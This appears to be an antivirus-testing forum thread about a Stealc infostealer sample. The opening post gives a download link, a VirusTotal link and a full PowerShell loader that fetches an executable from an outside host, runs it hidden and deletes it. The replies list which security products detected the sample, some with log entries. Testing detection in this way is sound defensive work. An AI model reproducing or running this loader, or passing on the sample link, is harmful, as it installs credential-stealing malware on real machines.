Stealc 1x

xiaozhu009

https://wwbxq.lanzouq.com/iK6e23klbg7e
https://www.virustotal.com/gui/f ... 47fdcdd80/detection

1. [System.Net.ServicePointManager]::SecurityProtocol=[System.Net.SecurityProtocolType]::Tls12;
   
2. 
   
3. $t = Join-Path $env:TEMP ([System.IO.Path]::GetRandomFileName());
   
4. New-Item -ItemType Directory -Path $t -Force | Out-Null;
   
5. 
   
6. $f = Join-Path $t ([System.IO.Path]::GetRandomFileName()+'.exe');
   
7. 
   
8. $ok = 0;
   
9. 
   
10. for($i=0;$i -lt 3 -and -not $ok;$i++){
    
11.     try{
    
12.         Invoke-WebRequest -Uri "https://myverifyblog.sbs/api/index.php?a=dl&token=0c1bad9a7f58ee73b344fe187a616e97589e9e530acdabab057b4c439c58e74d&src=cloudflare&mode=cloudflare" -OutFile $f -UseBasicParsing
    
13. 
    
14.         if(Test-Path $f){
    
15.             $ok=1
    
16.         }else{
    
17.             Start-Sleep -Seconds 2
    
18.         }
    
19.     }catch{
    
20.         Start-Sleep -Seconds 2
    
21.     }
    
22. }
    
23. 
    
24. if(-not (Test-Path $f)){exit}
    
25. 
    
26. Start-Process -FilePath $f -WindowStyle Hidden
    
27. 
    
28. try{
    
29.     Remove-Item -LiteralPath $f -Force -ErrorAction SilentlyContinue
    
30. }catch{}
    

复制代码

莒县小哥

ulyanov2233

essp kill

2026/3/14 16:03:03;文件系统实时防护;文件;C:\Users\Y8219\Downloads\20260314Stealc1x\update.exe;WinGo/Kryptik.PK 特洛伊木马 的变量;已通过删除清除;FIREFLY\Y8219;在通过应用程序创建的新文件上发生了事件: C:\Program Files\WinRAR\WinRAR.exe (8FF529964ED1D60008C6A45E8C1675B75F609851).;8C9EE0862C42C4AC426BFB7A93A1B5C255D81DF1;2026/3/14 16:02:56;S-1-5-21-2075981102-1163452476-1703001663-1001;;e9ULzoFyN00IkyR3jPGXwA==

xjwtzq

奇安信解压kill  ，安天kill

UNknownOoo

火绒
扫描运行均未检出,手动内存扫描未检出

成顔

post88

avast

浦北光

卡巴解压kill

事件: 检测到恶意对象
用户: WIN-OU3QDS5P7I8\Administrator
用户类型: 发起者
应用程序名称: explorer.exe
应用程序路径: C:\Windows
组件: 文件反病毒
结果描述: 检测到
类型: 木马
名称: Trojan.Win32.Injuke.pmqv
精确度: 确切
威胁级别: 高
对象类型: 文件
对象名称: update.exe
对象路径: C:\Users\Administrator\AppData\Local\Temp\Rar$DRb1676.21435
对象的 MD5: 670FEEA5F79ACEE8B10F15CEC05F4EFF
原因: 数据库
数据库发布日期: 今天，2026/3/14 15:30:00

WGC_ZY

ESSP:
3/14/2026 6:42:29 PM;Real-time file system protection;file;C:\Users\Zhang\Downloads\20260314Stealc1x\update.exe;a variant of WinGo/Kryptik.PK trojan;cleaned by deleting

心醉咖啡

360